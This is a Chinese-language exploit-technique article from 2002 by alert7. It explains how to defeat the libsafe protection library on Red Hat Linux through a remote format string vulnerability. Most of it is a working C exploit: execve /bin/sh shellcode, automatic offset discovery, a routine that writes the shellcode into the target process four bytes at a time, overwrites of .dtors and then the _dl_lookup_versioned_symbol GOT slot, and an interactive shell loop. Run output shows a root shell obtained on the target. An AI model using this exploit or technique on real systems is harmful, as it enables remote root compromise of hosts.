|
绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术 (阅览
次)
绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术
Author: alert7 Email: alert7@whitecell.org Homepage:http://www.whitecell.org Date: 2002-08-10
绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术
by alert7 < alert7@xfocus.org > 主页: http://www.xfocus.org/ http://www.whitecell.org/ 2002-04-29
在这里向您展现一下新的覆盖_dl_lookup_versioned_symbol技术 (这技术我提的,就这么命名好了:) ) 错误之处,还请来信斧正,谢谢。
上接<<如何写远程自动精确定位的format string exploit>>
由于libsafe只保护堆栈区,不保护heap,和bss区,所以,我们可以设法覆盖那里的某些重要变量, 从而使我们的shellcode获得控制权。
想法一:覆盖dtors
[alert7@redhat72 libsafe-2.0-13]# ldd /bin/ls /lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000) libtermcap.so.2 => /lib/libtermcap.so.2 (0x4002c000) libc.so.6 => /lib/i686/libc.so.6 (0x40030000) libdl.so.2 => /lib/libdl.so.2 (0x4016b000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[alert7@redhat72 libsafe-2.0-13]# ldd /bin/more /lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000) libtermcap.so.2 => /lib/libtermcap.so.2 (0x4002c000) libc.so.6 => /lib/i686/libc.so.6 (0x40030000) libdl.so.2 => /lib/libdl.so.2 (0x4016b000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[alert7@redhat72 libsafe-2.0-13]# ldd /bin/mail /lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000) libc.so.6 => /lib/i686/libc.so.6 (0x4002c000) libdl.so.2 => /lib/libdl.so.2 (0x40167000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[alert7@redhat72 libsafe-2.0-13]# ldd /usr/local/apache/bin/httpd /lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000) libpam.so.0 => /lib/libpam.so.0 (0x4002c000) libcrypt.so.1 => /lib/libcrypt.so.1 (0x40034000) libresolv.so.2 => /lib/libresolv.so.2 (0x40061000) libm.so.6 => /lib/i686/libm.so.6 (0x40073000) libdl.so.2 => /lib/libdl.so.2 (0x40096000) libnsl.so.1 => /lib/libnsl.so.1 (0x4009a000) libexpat.so.0 => /usr/lib/libexpat.so.0 (0x400b0000) libc.so.6 => /lib/i686/libc.so.6 (0x400cd000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
加载libsafe的话,那么它的地址一般都会在0x40019000 而对于特定版本的libsafe的话,它的dtors也有个固定的地址 [alert7@redhat72 libsafe-2.0-13]# objdump -s -j .dtors /lib/libsafe.so.2
/lib/libsafe.so.2: file format elf32-i386
Contents of section .dtors: 31e0 ffffffff 50270000 00000000 ....P'......
修改addr_ret等于0x40019000+0x31e0+4
再测试
[buffer addr is: 0xbffff470 (8) ] buf = (8) 70 f4 ff bf 70 f4 ff bf
addr_ret 0xbffff04c [ret addr is: 0xbffff04c (34) ]
addr-ret 0x4001c1e4 addr_shellcode 0xbffff094
Building format string and send shellcode waiting for get a shell if succeed...
low 61588;TWO 8;start 65536;base 0;offset 6;high 49151
e4 c1 01 40 e6 c1 01 40 25 2e 31 32 37 31 31 36 78 25 36 24 6e 25 2e 35 33 30 39 39 78 25 37 24 68 6e
(gdb) x/x 0x4001c1e4 0x4001c1e4 <__DTOR_LIST__+4>: 0xbffff094 (gdb) bt #0 0xbffff875 in ?? () #1 0x4001b7d9 in _fini () at eval.c:41 #2 0x4000de72 in _dl_fini () at eval.c:41 #3 0x4005d42b in exit (status=0) at exit.c:54 #4 0x40048510 in __libc_start_main (main=0x8048804 <main>, argc=1, ubp_av=0xbffffd24, init=0x8048468 <_init>, fini=0x8048980 <_fini>, rtld_fini=0x4000dc14 <_dl_fini>, stack_end=0xbffffd1c) at ../sysdeps/generic/libc-start.c:129 (gdb) x/x 0x4001c1e4 0x4001c1e4 <__DTOR_LIST__+4>: 0xbffff094 (gdb) i reg eip eip 0xbffff875 0xbffff875 (gdb) x/10x 0xbffff094 0xbffff094: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff0a4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff0b4: 0x00000000 0x00000000
在执行共享库的析构函数的时候,已经是程序快要结束的时候,format string input那些数据已经 被程序所清洗。所以,这个vul exploit,我们不能覆盖dtors达到控制的目的。
想法二:把shellcode 4个字节4个字节的拷贝到远程进程的进程空间里 这样当调用exit-->dtors的时候,shellcode还存在。 这样的话可能存在一个问题,就是要注意到进程的地址的每个字节不能为0
[alert7@redhat72 1674]# cat maps 08048000-08049000 r-xp 00000000 16:01 102379 /home/alert7/format/fmtd 08049000-0804a000 rw-p 00000000 16:01 102379 /home/alert7/format/fmtd 0804a000-0804d000 rwxp 00000000 00:00 0 40000000-40016000 r-xp 00000000 16:01 65282 /lib/ld-2.2.4.so 40016000-40017000 rw-p 00015000 16:01 65282 /lib/ld-2.2.4.so 40018000-40019000 rw-p 00001000 00:00 0 40019000-4001c000 r-xp 00000000 16:01 65381 /lib/libsafe.so.2.0.13 4001c000-4001d000 rw-p 00003000 16:01 65381 /lib/libsafe.so.2.0.13 4002c000-4015e000 r-xp 00000000 16:01 77522 /lib/i686/libc-2.2.4.so 4015e000-40163000 rw-p 00131000 16:01 77522 /lib/i686/libc-2.2.4.so 40163000-40167000 rw-p 00000000 00:00 0 40167000-4016a000 r-xp 00000000 16:01 65295 /lib/libdl-2.2.4.so 4016a000-4016b000 rw-p 00002000 16:01 65295 /lib/libdl-2.2.4.so bfffd000-c0000000 rwxp ffffe000 00:00 0
我们选择把shellcode写到0x40016000-0x40017000之间的地址,所以选择了0x40016002作为写入地址。 如果堆栈是不可运行的话,我们可以选用0x40016002,来达到绕过一般堆栈不可运行的目的。 现在我们选择0xbfffd002作为shellcode写入地址会更好
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #include <getopt.h>
#define CODEAT 0xbfffe002 //shellcode要写入的地址,注,该地址一定要可写 #define LIBSAFEBASE 0x40019000 //libsafe装载的基地址 #define DTORS_OFFSET_LIBSAFEBASE 0x31e0 //libsafe中的dtros的offset
char verbose = 0, debug = 0;
#define OCT( b0, b1, b2, b3, addr, str ) { \ b0 = (addr >> 24) & 0xff; \ b1 = (addr >> 16) & 0xff; \ b2 = (addr >> 8) & 0xff; \ b3 = (addr ) & 0xff; \ if ( b0 * b1 * b2 * b3 == 0 ) { \ printf( "\n%s contains a NUL byte. Leaving...\n", str ); \ exit( EXIT_FAILURE ); \ } \ } #define MAX_FMT_LENGTH 128 #define ADD 0x100 #define FOUR sizeof( size_t ) * 4 #define TWO sizeof( size_t ) * 2 #define BANNER "uname -a ; id" #define MAX_OFFSET 255
char *shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90"; //shellcode长度 4的倍数
int interact(int sock) { fd_set fds; ssize_t ssize; char buffer[1024];
write(sock, BANNER"\n", sizeof(BANNER)); while (1) { FD_ZERO(&fds); FD_SET(STDIN_FILENO, &fds); FD_SET(sock, &fds); select(sock + 1, &fds, NULL, NULL, NULL);
if (FD_ISSET(STDIN_FILENO, &fds)) { ssize = read(STDIN_FILENO, buffer, sizeof(buffer)); if (ssize < 0) { return(-1); } if (ssize == 0) { return(0); } write(sock, buffer, ssize); }
if (FD_ISSET(sock, &fds)) { ssize = read(sock, buffer, sizeof(buffer)); if (ssize < 0) { return(-1); } if (ssize == 0) { return(0); } write(STDOUT_FILENO, buffer, ssize); } } return(-1); }
u_long resolve(char *host) { struct hostent *he; u_long ret;
if(!(he = gethostbyname(host))) { herror("gethostbyname()"); exit(-1); }
memcpy(&ret, he->h_addr, sizeof(he->h_addr)); return ret; }
int build_hn1(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base,int alinged) { unsigned char b0, b1, b2, b3; unsigned int high, low; int start = ((base / (ADD * ADD)) + 1) * ADD * ADD; int sz; int i,j,count=0;
printf("write shellcode to remote process address 0x%x ",locaddr); printf("code: 0x%.2x 0x%.2x 0x%.2x 0x%.2x\n", retaddr& 0xff,(retaddr>>8)&0xff,(retaddr>>16)&0xff,(retaddr>>24)&0xff ); buf[0]=0;
for (i=0;i<alinged;i++) strcat(buf,"a");
/* <locaddr> : where to overwrite */ OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]"); sz = snprintf(buf+alinged, TWO + 1, /* 8 char to have the 2 addresses */ "%c%c%c%c" /* + 1 for the ending \0 */ "%c%c%c%c", b3, b2, b1, b0, b3 + 2, b2, b1, b0); /* where is our shellcode ? */ OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]"); high = (retaddr & 0xffff0000) >> 16; low = retaddr & 0x0000ffff; i = snprintf(buf + sz+alinged, MAX_FMT_LENGTH, "%%.%hdx%%%d$n%%.%hdx%%%d$hn", low - TWO + start - base, offset, high - low + start, offset + 1); for (j=0;j<strlen(buf);j++) { if (buf[j] == '%' ) count++; } if (count > 4) { printf("too many '%%' in input buffer\nmay be failed\n\n"); } return i; }
int build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base,int alinged) { unsigned char b0, b1, b2, b3; unsigned int high, low; int start = ((base / (ADD * ADD)) + 1) * ADD * ADD; int sz; int i,j,count=0;
buf[0]=0;
for (i=0;i<alinged;i++) strcat(buf,"a");
/* <locaddr> : where to overwrite */ OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]"); sz = snprintf(buf+alinged, TWO + 1, /* 8 char to have the 2 addresses */ "%c%c%c%c" /* + 1 for the ending \0 */ "%c%c%c%c", b3, b2, b1, b0, b3 + 2, b2, b1, b0); /* where is our shellcode ? */ OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]"); high = (retaddr & 0xffff0000) >> 16; low = retaddr & 0x0000ffff; printf("low %d;TWO %d;start %d;base %d;offset %d;high %d\n\n",low,TWO,start,base,offset,high);
i = snprintf(buf + sz+alinged, MAX_FMT_LENGTH, "%%.%hdx%%%d$n%%.%hdx%%%d$hn", low - TWO + start - base, offset, high - low + start, offset + 1); for (j=0;j<strlen(buf);j++) { if (buf[j] == '%' ) count++; fprintf(stderr,"%.2x ", (int)(buf[j] & 0xff)); if (j && j%20 == 0) fprintf(stderr, "\n"); } fprintf(stderr, "\n\n"); if (count > 4) { printf("too many '%%' in input buffer\nmay be failed\n\n"); } return i; }
void get_addr_as_char(u_int addr, char *buf) {
*(u_int*)buf = addr; if (!buf[0]) buf[0]++; if (!buf[1]) buf[1]++; if (!buf[2]) buf[2]++; if (!buf[3]) buf[3]++; }
int get_offset(int sock,int * alinged) {
int i, j,offset = -1, len; char fmt[128], buf[128]; char tmp1[128],tmp2[128];
for (j =0;j<4;j++) { if (j == 0) { strcpy(tmp1,"AAAA%%%d$x"); strcpy(tmp2,"AAAA41414141"); } if (j == 1) { strcpy(tmp1,"AAAAa%%%d$x"); strcpy(tmp2,"AAAAa41414141"); } if (j == 2) { strcpy(tmp1,"AAAAaa%%%d$x"); strcpy(tmp2,"AAAAaa41414141"); } if (j == 3) { strcpy(tmp1,"AAAAaaa%%%d$x"); strcpy(tmp2,"AAAAaaa41414141"); }
for (i = 1; i<MAX_OFFSET && offset == -1; i++) {
snprintf(fmt, sizeof(fmt), tmp1, i); write(sock, fmt, strlen(fmt)); memset(buf, 0, sizeof(buf)); sleep(1); if ((len = read(sock, buf, sizeof(buf))) < 0) { fprintf(stderr, "Error while looking for the offset (%d)\n", len); close(sock); exit(EXIT_FAILURE); }
if (debug) fprintf(stderr, "testing offset = %d fmt = [%s] buf = [%s] len = %d\n", i, fmt, buf, len);
if (!strcmp(buf, tmp2)) { offset = i; *alinged = j; goto OUT; } }//end for i
}//end for j OUT: return offset; }
int main(int argc, char **argv) { char *ip = "127.0.0.1", *ptr; struct sockaddr_in sck; u_int read_at, addr_stack = (u_int)0xbfffe001; /* default bottom */ u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1; char buf[1024], fmt[128], c; int port = 12345, offset = -1; int sd, len, i; int aligned; int formatstring_counts = 0; u_int formatstring1=0,formatstring2=0; int use_format = 0; int like_printf = 0; int write_code_TO = CODEAT; int * p;
while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) { switch (c) { case 'i': ip = optarg; break; case 'p': port = atoi(optarg); break;
case 'a': addr_stack = strtoul(optarg, NULL, 16); break; case 'o': offset = atoi(optarg); break;
case 'v': verbose = 1; break;
case 'd': debug = 1; break;
default: fprintf(stderr, "Unknwon option %c (%d)\n", c, c); exit (EXIT_FAILURE); } }
/* init the sockaddr_in */ fprintf(stderr, "Using IP %s\n", ip); sck.sin_family = PF_INET; sck.sin_addr.s_addr = resolve(ip); sck.sin_port = htons (port);
/* open the socket */ if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) { perror ("socket()"); exit (EXIT_FAILURE); } /* connect to the remote server */ if (connect (sd, (struct sockaddr *) &sck, sizeof (sck)) < 0) { perror ("Connect() "); exit (EXIT_FAILURE); } fprintf (stderr, "Connected to %s\n", ip); if (debug) sleep(5);
/* send login */ memset (buf, 0x0, sizeof(buf)); len = read(sd, buf, sizeof(buf)); if (strncmp(buf, "login", 5)) { fprintf(stderr, "Error: no login asked [%s] (%d)\n", buf, len); close(sd); exit(EXIT_FAILURE); } strcpy(buf, "alert7"); len = write (sd, buf, strlen(buf)); if (verbose) fprintf(stderr, "login sent [%s] (%d)\n", buf, len); sleep(1);
/* passwd: shellcode in the buffer and in the remote stack */ len = read(sd, buf, sizeof(buf)); if (strncmp(buf, "password", 8)) { fprintf(stderr, "Error: no password asked [%s] (%d)\n", buf, len); close(sd); exit(EXIT_FAILURE); } write (sd, "hi", 2); if (verbose) fprintf (stderr, "passwd (hi) sent (%d)\n", len); sleep(1);
/***********************************************************************/ /* find offset and aligned ,一般情况这个可以手动判断就可以了,不过程序判断 *也不麻烦 */ if (offset == -1) { if ((offset = get_offset(sd,&aligned)) == -1) { fprintf(stderr, "Error: can't find offset\n"); fprintf(stderr, "Please, use the -o arg to specify it.\n"); close(sd); exit(EXIT_FAILURE); } fprintf(stderr, "\n[Found offset = %d aligned %d ]\n\n", offset,aligned); } /***********************************************************************/
addr_ret = LIBSAFEBASE + DTORS_OFFSET_LIBSAFEBASE +4;
fprintf (stderr, "\naddr-ret %p addr_shellcode %p\n\n",addr_ret,write_code_TO);
/*******************************************************************************/ /* *想法二:把shellcode 4个字节4个字节的拷贝到远程进程的进程空间里 * 这样当调用exit-->dtors的时候,shellcode还存在。 * 这样的话可能存在一个问题,就是要注意到进程的地址的每个字节不能为0 * *我们选择把shellcode写到0x40016000-0x40017000之间的地址,所以选择了0x40016002作为写入地址。 */
i=0; for (p = (int *) shellcode;i*4<strlen(shellcode) ;p++,i++) { memset(buf, 0, sizeof(buf)); build_hn1(buf, write_code_TO+i*4, *p, offset, 0,aligned); write(sd, buf, strlen(buf)); sleep(1); } /*******************************************************************************/
/* send the format string */ fprintf (stderr, "\nBuilding format string and send shellcode \nwaiting for get a shell if succeed...\n\n"); memset(buf, 0, sizeof(buf)); build_hn(buf, addr_ret, write_code_TO, offset, 0,aligned); write(sd, buf, strlen(buf)); sleep(1); read(sd, buf, sizeof(buf)); /* call the return while quiting */ fprintf (stderr, "Sending the quit ...\n"); strcpy(buf, "quit"); write(sd, buf, strlen(buf)); sleep(1); interact(sd);
close(sd); return 0; }
[alert7@redhat72 format]$ gcc -o e e.c [alert7@redhat72 format]$ ./e Using IP 127.0.0.1 Connected to 127.0.0.1
[Found offset = 6 aligned 0 ]
addr-ret 0x4001c1e4 addr_shellcode 0x40016002
write shellcode to remote process address 0x40016002 code: 0x90 0x90 0x90 0x90 write shellcode to remote process address 0x40016006 code: 0x90 0x90 0x90 0x90 write shellcode to remote process address 0x4001600a code: 0x90 0x90 0x90 0x90 write shellcode to remote process address 0x4001600e code: 0x90 0x90 0x90 0x90 write shellcode to remote process address 0x40016012 code: 0xeb 0x1f 0x5e 0x89 write shellcode to remote process address 0x40016016 code: 0x76 0x08 0x31 0xc0 write shellcode to remote process address 0x4001601a code: 0x88 0x46 0x07 0x89 write shellcode to remote process address 0x4001601e code: 0x46 0x0c 0xb0 0x0b write shellcode to remote process address 0x40016022 code: 0x89 0xf3 0x8d 0x4e write shellcode to remote process address 0x40016026 code: 0x08 0x8d 0x56 0x0c write shellcode to remote process address 0x4001602a code: 0xcd 0x80 0x31 0xdb write shellcode to remote process address 0x4001602e code: 0x89 0xd8 0x40 0xcd write shellcode to remote process address 0x40016032 code: 0x80 0xe8 0xdc 0xff write shellcode to remote process address 0x40016036 code: 0xff 0xff 0x2f 0x62 write shellcode to remote process address 0x4001603a code: 0x69 0x6e 0x2f 0x73 write shellcode to remote process address 0x4001603e code: 0x68 0x90 0x90 0x90
Building format string and send shellcode waiting for get a shell if succeed...
low 24578;TWO 8;start 65536;base 0;offset 6;high 16385
e4 c1 01 40 e6 c1 01 40 25 2e 39 30 31 30 36 78 25 36 24 6e 25 2e 35 37 33 34 33 78 25 37 24 68 6e Sending the quit ... `@00000000000000000000000...... ......(省略了一些乱信息) 0000000000000000000000000000000000000000000bye bye ... Linux redhat72 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown uid=0(root) gid=100(users) ldd /bin/ls /lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000) libtermcap.so.2 => /lib/libtermcap.so.2 (0x4002c000) libc.so.6 => /lib/i686/libc.so.6 (0x40030000) libdl.so.2 => /lib/libdl.so.2 (0x4016b000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) exit [alert7@redhat72 format]$ 绕过libsafe成功 :)
但是也有几点不好的地方 一:几个地址都要粗劣的精确定位
#define CODEAT 0x40016002 //shellcode要写入的地址,注,该地址一定要可写 //把shellcode拷贝到的地址空间,其目的是为了保证在exit()调用后 //CODEAT地址的shellcode还是可用,而不会被清理掉。 //该地址一定要可写,保证程序不当掉。 #define LIBSAFEBASE 0x40019000 //libsafe装载的基地址 #define DTORS_OFFSET_LIBSAFEBASE 0x31e0 //libsafe中的dtros的offset
来看看下面这个进程映象 [alert7@redhat72 1674]# cat maps 08048000-08049000 r-xp 00000000 16:01 102379 /home/alert7/format/fmtd 08049000-0804a000 rw-p 00000000 16:01 102379 /home/alert7/format/fmtd 0804a000-0804d000 rwxp 00000000 00:00 0 40000000-40016000 r-xp 00000000 16:01 65282 /lib/ld-2.2.4.so 40016000-40017000 rw-p 00015000 16:01 65282 /lib/ld-2.2.4.so 40018000-40019000 rw-p 00001000 00:00 0 40019000-4001c000 r-xp 00000000 16:01 65381 /lib/libsafe.so.2.0.13 4001c000-4001d000 rw-p 00003000 16:01 65381 /lib/libsafe.so.2.0.13 4002c000-4015e000 r-xp 00000000 16:01 77522 /lib/i686/libc-2.2.4.so 4015e000-40163000 rw-p 00131000 16:01 77522 /lib/i686/libc-2.2.4.so 40163000-40167000 rw-p 00000000 00:00 0 40167000-4016a000 r-xp 00000000 16:01 65295 /lib/libdl-2.2.4.so 4016a000-4016b000 rw-p 00002000 16:01 65295 /lib/libdl-2.2.4.so bfffd000-c0000000 rwxp ffffe000 00:00 0
默认系统lib库装载的基地址为0x40000000(除非你自己改源代码重新编译内核),然后 一个一个顺序加载共享库。所以LIBSAFEBASE的值只取决于ld-x.x.x.so的版本,也就是说 同样版本的/lib/ld-2.2.4.so,各个进程加栽的libsafe共享库的地址一般都为0x40019000。 所以这个值不是随机的,应该还算有比较高的精确度。
DTORS_OFFSET_LIBSAFEBASE的值取决于编译器的版本和编译时候的选项还有就是libsafe的版本。 如果这三个都相同的话,应该这个值是一定的。所以这个地址的成功率也是很高的。
CODEAT值也取决于ld-x.x.x.so的版本,或者这个值在其他版本上也可以用也说不定,反正我没有测试过。 不好说死了。
二:需要确定几个值 offset和aligned,它们两个很容易得到。
能不能再精确数据或者说让exploit依赖的数据少点 我想到了/lib/ld-2.2.4.so,因为它的地址是不变的, 永远是0x40000000
查找感兴趣的函数 [root@redhat72 format]# objdump -R /lib/ld-2.2.4.so /lib/ld-2.2.4.so: file format elf32-i386
DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 00016378 R_386_GLOB_DAT __libc_internal_tsd_set 00016380 R_386_GLOB_DAT _dl_nloaded 00016388 R_386_GLOB_DAT __pthread_mutex_lock 0001638c R_386_GLOB_DAT _dl_profile_output 00016390 R_386_GLOB_DAT __libc_stack_end 00016394 R_386_GLOB_DAT _dl_debug_fd 0001639c R_386_GLOB_DAT _dl_initial_searchlist 000163a8 R_386_GLOB_DAT _dl_platformlen 000163ac R_386_GLOB_DAT _dl_debug_mask 000163b0 R_386_GLOB_DAT _dl_profile 000163c0 R_386_GLOB_DAT _dl_cpuclock_offset 000163cc R_386_GLOB_DAT __libc_enable_secure 000163dc R_386_GLOB_DAT _dl_global_scope 000163e4 R_386_GLOB_DAT __libc_internal_tsd_get 000163e8 R_386_GLOB_DAT __pthread_mutex_unlock 000163f4 R_386_GLOB_DAT _dl_lazy 000163f8 R_386_GLOB_DAT _dl_debug_state 000163fc R_386_GLOB_DAT _dl_argv 00016408 R_386_GLOB_DAT _dl_main_searchlist 00016420 R_386_GLOB_DAT _dl_origin_path 00016424 R_386_GLOB_DAT _dl_clktck 0001642c R_386_GLOB_DAT _dl_starting_up 00016430 R_386_GLOB_DAT _dl_out_of_memory 00016438 R_386_GLOB_DAT _dl_mcount 0001643c R_386_GLOB_DAT _dl_init_all_dirs 00016448 R_386_GLOB_DAT _dl_load_lock 00016450 R_386_GLOB_DAT _dl_fpu_control 00016464 R_386_GLOB_DAT _dl_loaded 00016468 R_386_GLOB_DAT _dl_profile_map 00016474 R_386_GLOB_DAT _dl_all_dirs 00016478 R_386_GLOB_DAT _r_debug 0001648c R_386_GLOB_DAT _dl_pagesize 0001630c R_386_JUMP_SLOT _dl_debug_printf 00016310 R_386_JUMP_SLOT _dl_check_map_versions 00016314 R_386_JUMP_SLOT __pthread_mutex_lock 00016318 R_386_JUMP_SLOT _dl_sysdep_start 0001631c R_386_JUMP_SLOT _dl_init 00016320 R_386_JUMP_SLOT malloc 00016324 R_386_JUMP_SLOT _dl_lookup_versioned_symbol 00016328 R_386_JUMP_SLOT _dl_lookup_symbol 0001632c R_386_JUMP_SLOT calloc 00016330 R_386_JUMP_SLOT __pthread_mutex_unlock 00016334 R_386_JUMP_SLOT _dl_debug_state 00016338 R_386_JUMP_SLOT _dl_dst_substitute 0001633c R_386_JUMP_SLOT realloc 00016340 R_386_JUMP_SLOT _dl_check_all_versions 00016344 R_386_JUMP_SLOT _dl_debug_initialize 00016348 R_386_JUMP_SLOT __xstat64 0001634c R_386_JUMP_SLOT _dl_start_profile 00016350 R_386_JUMP_SLOT _dl_relocate_object 00016354 R_386_JUMP_SLOT _dl_dst_count 00016358 R_386_JUMP_SLOT _dl_unload_cache 0001635c R_386_JUMP_SLOT _dl_map_object 00016360 R_386_JUMP_SLOT _dl_signal_error 00016364 R_386_JUMP_SLOT _dl_catch_error 00016368 R_386_JUMP_SLOT __fxstat64 0001636c R_386_JUMP_SLOT free 00016370 R_386_JUMP_SLOT _dl_map_object_deps
我们只对下面这两个感兴趣 00016324 R_386_JUMP_SLOT _dl_lookup_versioned_symbol 00016328 R_386_JUMP_SLOT _dl_lookup_symbol 通过实验,覆盖地址_dl_lookup_versioned_symbol可以成功取得控制权。 现在我们找到了_dl_lookup_versioned_symbol。 现在我们所有的地址只跟ld-x.x.x.so版本有关了,而跟编译器(没有人会去重新编译ld吧)和libsafe无关了。
以上是linux redhat 7.2上的测试值
以下是linux redhat 6.2的测试值 [root@redhat]# ldd fmtd /lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40016000) libc.so.6 => /lib/libc.so.6 (0x40020000) libdl.so.2 => /lib/libdl.so.2 (0x40115000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [root@redhat]# objdump -s -j .dtors /lib/libsafe.so.2
/lib/libsafe.so.2: file format elf32-i386
Contents of section .dtors: 4124 ffffffff 68260000 00000000 ....h&...... [root@redhat]# cat maps 08048000-08049000 r-xp 00000000 03:01 73098 /home/alert7/format/fmtd 08049000-0804a000 rw-p 00000000 03:01 73098 /home/alert7/format/fmtd 0804a000-0804d000 rwxp 00000000 00:00 0 40000000-40013000 r-xp 00000000 03:01 40322 /lib/ld-2.1.3.so 40013000-40014000 rw-p 00012000 03:01 40322 /lib/ld-2.1.3.so 40014000-40015000 rw-p 00000000 00:00 0 40016000-40019000 r-xp 00000000 03:01 40413 /lib/libsafe.so.2.0.13 40019000-4001b000 rw-p 00002000 03:01 40413 /lib/libsafe.so.2.0.13 40020000-4010d000 r-xp 00000000 03:01 40329 /lib/libc-2.1.3.so 4010d000-40111000 rw-p 000ec000 03:01 40329 /lib/libc-2.1.3.so 40111000-40115000 rw-p 00000000 00:00 0 40115000-40117000 r-xp 00000000 03:01 40338 /lib/libdl-2.1.3.so 40117000-40119000 rw-p 00001000 03:01 40338 /lib/libdl-2.1.3.so bfffd000-c0000000 rwxp ffffe000 00:00 0
ld-2.2.2.so redhat 7.2 0001661c R_386_JUMP_SLOT _dl_lookup_versioned_symbol 00016620 R_386_JUMP_SLOT _dl_lookup_symbol 40000000-40016000 r-xp 00000000 08:02 227252 /lib/ld-2.2.2.so 40016000-40017000 rw-p 00015000 08:02 227252 /lib/ld-2.2.2.so
ld-2.2.4.so redhat 7.2 00016324 R_386_JUMP_SLOT _dl_lookup_versioned_symbol 00016328 R_386_JUMP_SLOT _dl_lookup_symbol 40000000-40016000 r-xp 00000000 16:01 65282 /lib/ld-2.2.4.so 40016000-40017000 rw-p 00015000 16:01 65282 /lib/ld-2.2.4.so
ld-2.1.3.so redhat 6.2 00013884 R_386_JUMP_SLOT _dl_lookup_versioned_symbol 00013888 R_386_JUMP_SLOT _dl_lookup_symbol 40000000-40013000 r-xp 00000000 03:01 40322 /lib/ld-2.1.3.so 40013000-40014000 rw-p 00012000 03:01 40322 /lib/ld-2.1.3.so
最终的exploit的变量定位只与ld版本相关
#define CODEAT 0xbfffe002 //shellcode要写入的地址,注,该地址一定要可写 #define LIBSAFEBASE 0x40000000 //ld装载的基地址 #define DTORS_OFFSET_LIBSAFEBASE (0x16328 -4) //后面程序中做了+4的
---THE END.
返回
|